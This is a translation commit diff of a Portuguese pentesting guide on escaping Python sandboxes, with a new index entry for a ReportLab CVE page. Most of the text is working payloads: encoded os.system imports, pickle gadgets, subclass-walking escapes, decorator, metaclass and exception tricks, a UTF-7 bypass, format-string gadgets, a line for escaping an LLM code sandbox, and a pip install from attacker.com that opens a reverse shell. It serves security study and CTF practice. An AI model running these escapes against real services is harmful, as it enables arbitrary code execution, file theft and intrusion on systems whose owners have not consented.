Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-08-28 10:24:41 +00:00
parent 10ee47dacd
commit cf9eabb6b6
4 changed files with 217 additions and 114 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -1,12 +1,12 @@
# Bypass Python sandboxes
# Contornar sandboxes do Python
{{#include ../../../banners/hacktricks-training.md}}
Esses são alguns truques para contornar as proteções de sandbox do Python e executar comandos arbitrários.
Estas são algumas técnicas para contornar proteções de sandbox do Python e executar comandos arbitrários.
## Bibliotecas de Execução de Comandos
A primeira coisa que você precisa saber é se pode executar código diretamente com alguma biblioteca já importada, ou se poderia importar qualquer uma dessas bibliotecas:
A primeira coisa que você precisa saber é se você pode executar código diretamente com alguma biblioteca já importada, ou se pode importar qualquer uma destas bibliotecas:
```python
os.system("ls")
os.popen("ls").read()
@ -39,20 +39,20 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do sandbox python e para **escrever algum código** que você poderia **executar** para **burlar** o sandbox.
Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **ler arquivos** dentro do python sandbox e para **escrever algum código** que você poderia **executar** para **bypass** o sandbox.
> [!CAUTION] > A função **input()** do **Python2** permite executar código python antes que o programa falhe.
> [!CAUTION] > **Python2 input()** função permite executar código python antes do programa travar.
O Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando imprimirá de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`
O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir irá imprimir de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass do sandbox pickle com os pacotes python instalados por padrão
## Bypass pickle sandbox with the default installed python packages
### Pacotes padrão
Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note que a partir de um pickle você pode fazer o ambiente python **importar bibliotecas arbitrárias** instaladas no sistema.\
Observe que a partir de um pickle você pode fazer o python env **import arbitrary libraries** instaladas no sistema.\
Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -66,13 +66,13 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Para mais informações sobre como o pickle funciona, confira isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Para mais informações sobre como o pickle funciona, confira isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pacote Pip
Truque compartilhado por **@isHaacK**
Se você tiver acesso ao `pip` ou `pip.main()`, pode instalar um pacote arbitrário e obter um shell reverso chamando:
Se você tem acesso a `pip` ou `pip.main()`, você pode instalar um pacote arbitrário e obter um reverse shell chamando:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -84,14 +84,14 @@ Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado para que, quando você sair do reverse shell, o restante da instalação falhe, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
> Este pacote se chama `Reverse`. No entanto, ele foi especialmente criado de forma que, quando você sair do reverse shell, o restante da instalação falhará, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair.
## Avaliando código python
## Eval-ing python code
> [!WARNING]
> Note que exec permite strings multilinha e ";", mas eval não permite (verifique o operador walrus)
> Observe que exec permite strings multilinha e ";", mas eval não (veja walrus operator)
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **bypass** da restrição:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Outras bibliotecas que permitem avaliar código Python
### Outras bibliotecas que permitem eval python code
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operadores e truques curtos
Veja também um escape de avaliador sandboxed do mundo real em geradores de PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa de rl_safe_eval para alcançar function.__globals__ e os.system a partir de atributos avaliados (por exemplo, cor da fonte) e retorna um valor válido para manter a renderização estável.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Operadores e truques rápidos
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassando proteções através de codificações (UTF-7)
## Contornando proteções por meio de codificações (UTF-7)
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UTF-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
Em [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -148,11 +156,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Também é possível contornar isso usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
Também é possível contorná-lo usando outras codificações, por exemplo `raw_unicode_escape` e `unicode_escape`.
## Execução do Python sem chamadas
## Execução em Python sem calls
Se você estiver dentro de uma prisão python que **não permite que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos** arbitrários.
Se você estiver dentro de uma python jail que **não permite que você faça calls**, ainda existem algumas maneiras de **executar funções arbitrárias, código** e **comandos**.
### RCE com [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE criando objetos e sobrecarga
### RCE creating objects and overloading
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
Se você pode **declarar uma class** e **criar um object** dessa class, você pode **write/overwrite different methods** que podem ser **triggered** **sem** **precisar chamá-las diretamente**.
#### RCE com classes personalizadas
#### RCE with custom classes
Você pode modificar alguns **métodos de classe** (_sobrescrevendo métodos de classe existentes ou criando uma nova classe_) para fazê-los **executar código arbitrário** quando **ativados** sem chamá-los diretamente.
Você pode modificar alguns **class methods** (_sobrescrevendo existing class methods ou criando uma nova class_) para fazê-los **execute arbitrary code** quando **triggered** sem chamá-los diretamente.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -234,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
A principal coisa que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como uma metaclass.
O ponto principal que metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -251,7 +259,7 @@ Sub['import os; os.system("sh")']
```
#### Criando objetos com exceções
Quando uma **exceção é acionada**, um objeto da **Exceção** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Quando uma **exceção é acionada** um objeto da **Exception** é **criado** sem que você precise chamar o construtor diretamente (um truque de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Ler arquivo com ajuda e licença de builtins
### Ler arquivo com builtins help & license
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -304,20 +312,21 @@ pass
```
## Builtins
- [**Funções builtins do python2**](https://docs.python.org/2/library/functions.html)
- [**Funções builtins do python3**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Se você puder acessar o **`__builtins__`** objeto, você pode importar bibliotecas (note que você também poderia usar aqui outra representação de string mostrada na última seção):
Se você conseguir acessar o objeto **`__builtins__`** você pode importar bibliotecas (observe que você também poderia usar aqui outras representações de string mostradas na última seção):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Sem Builtins
Quando você não tem `__builtins__`, não será capaz de importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também estão importando funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
Quando você não tem `__builtins__` você não vai conseguir importar nada nem mesmo ler ou escrever arquivos pois **todas as funções globais** (como `open`, `import`, `print`...) **não são carregadas**.\
Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
No entanto, **por padrão python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** internamente que podem ser acessadas para obter até **arbitrary code execution**.
Nos exemplos a seguir você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
**Python2**
```python
@ -359,15 +368,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**.
#### Python2 e Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Payloads embutidos
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -377,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals e locals
Verificar os **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
Verificar as **`globals`** e **`locals`** é uma boa maneira de saber o que você pode acessar.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,7 +418,7 @@ Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas c
#### Acessando subclasses com bypasses
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas **outras maneiras possíveis**:
Uma das partes mais sensíveis desta técnica é conseguir **acessar as base subclasses**. Nos exemplos anteriores isso foi feito usando `''.__class__.__base__.__subclasses__()` mas existem **outras maneiras possíveis**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -439,12 +448,12 @@ defined_func.__class__.__base__.__subclasses__()
```
### Encontrando bibliotecas perigosas carregadas
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que importaram sys dentro deles**:
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado `sys`**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
muitos, e **só precisamos de um** para executar comandos:
Existem muitos, e **só precisamos de um** para executar comandos:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
@ -483,7 +492,7 @@ Podemos fazer a mesma coisa com **outras bibliotecas** que sabemos que podem ser
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Além disso, poderíamos até procurar quais módulos estão carregando bibliotecas maliciosas:
Além disso, podemos até pesquisar quais módulos estão carregando bibliotecas maliciosas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Além disso, se você acha que **outras bibliotecas** podem **invocar funções para executar comandos**, também podemos **filtrar por nomes de funções** dentro das possíveis bibliotecas:
Além disso, se você achar que **outras bibliotecas** podem ser capazes de **invocar funções para executar comandos**, também podemos **filtrar pelos nomes de funções** dentro das possíveis bibliotecas:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +544,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Pesquisa Recursiva de Builtins, Globals...
## Busca Recursiva de builtins, globals...
> [!WARNING]
> Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer coisa** apenas use este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
> Isso é simplesmente **incrível**. Se você está **procurando um objeto como globals, builtins, open ou qualquer outro** use este script para **encontrar recursivamente locais onde esse objeto pode ser encontrado.**
```python
import os, sys # Import these to find more gadgets
@ -656,13 +665,14 @@ main()
```
Você pode verificar a saída deste script nesta página:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Formato de String em Python
## Python Format String
Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
Se você **enviar** uma **string** para python que será **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Note como você pode **acessar atributos** de uma maneira normal com um **ponto** como `people_obj.__init__` e **elemento do dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
Observe como você pode **acessar atributos** de forma normal com um **ponto** como `people_obj.__init__` e **elemento de dict** com **colchetes** sem aspas `__globals__[CONFIG]`
Também note que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Além disso, note que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Algumas outras características interessantes das strings de formato são a possibilidade de **executar** as **funções** **`str`**, **`repr`** e **`ascii`** no objeto indicado adicionando **`!s`**, **`!r`**, **`!a`** respectivamente:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Além disso, é possível **codificar novos formatadores** em classes:
Além disso, é possível **code new formatters** em classes:
```python
class HAL9000(object):
def __format__(self, format):
@ -702,10 +712,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Mais exemplos** sobre **formato** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
**Mais exemplos** sobre **format** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Verifique também a seguinte página para gadgets que irão l**er informações sensíveis de objetos internos do Python**:
> Consulte também a página a seguir para gadgets que irão r**eer informações sensíveis de objetos internos do Python**:
{{#ref}}
@ -728,22 +738,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### Bypass de Jails LLM
### LLM Jails bypass
De [aqui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Do formato para RCE carregando bibliotecas
### Do formato para RCE: carregando bibliotecas
De acordo com o [**desafio TypeMonkey deste artigo**](https://corgi.rip/posts/buckeye-writeups/), é possível carregar bibliotecas arbitrárias do disco abusando da vulnerabilidade de string de formato em python.
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Como lembrete, toda vez que uma ação é realizada em python, alguma função é executada. Por exemplo, `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
Você tem mais como isso na seção [**Execução Python sem chamadas**](#python-execution-without-calls).
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE.
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
Procurando por um gadget assim em python, o artigo propõe esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -765,18 +775,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Este gadget permite **carregar uma biblioteca do disco**. Portanto, é necessário de alguma forma **escrever ou fazer upload da biblioteca para carregar** corretamente compilada no servidor atacado.
Este gadget permite **carregar uma biblioteca a partir do disco**. Portanto, é necessário, de alguma forma, **gravar ou fazer upload da biblioteca a ser carregada**, compilada corretamente para o servidor atacado.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco dos servidores.
O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco do servidor.
## Dissecando Objetos Python
## Dissecando objetos Python
> [!TIP]
> Se você quer **aprender** sobre **bytecode python** em profundidade, leia este **incrível** post sobre o tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Se você quiser **aprender** sobre **python bytecode** em profundidade, leia este post **incrível** sobre o assunto: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
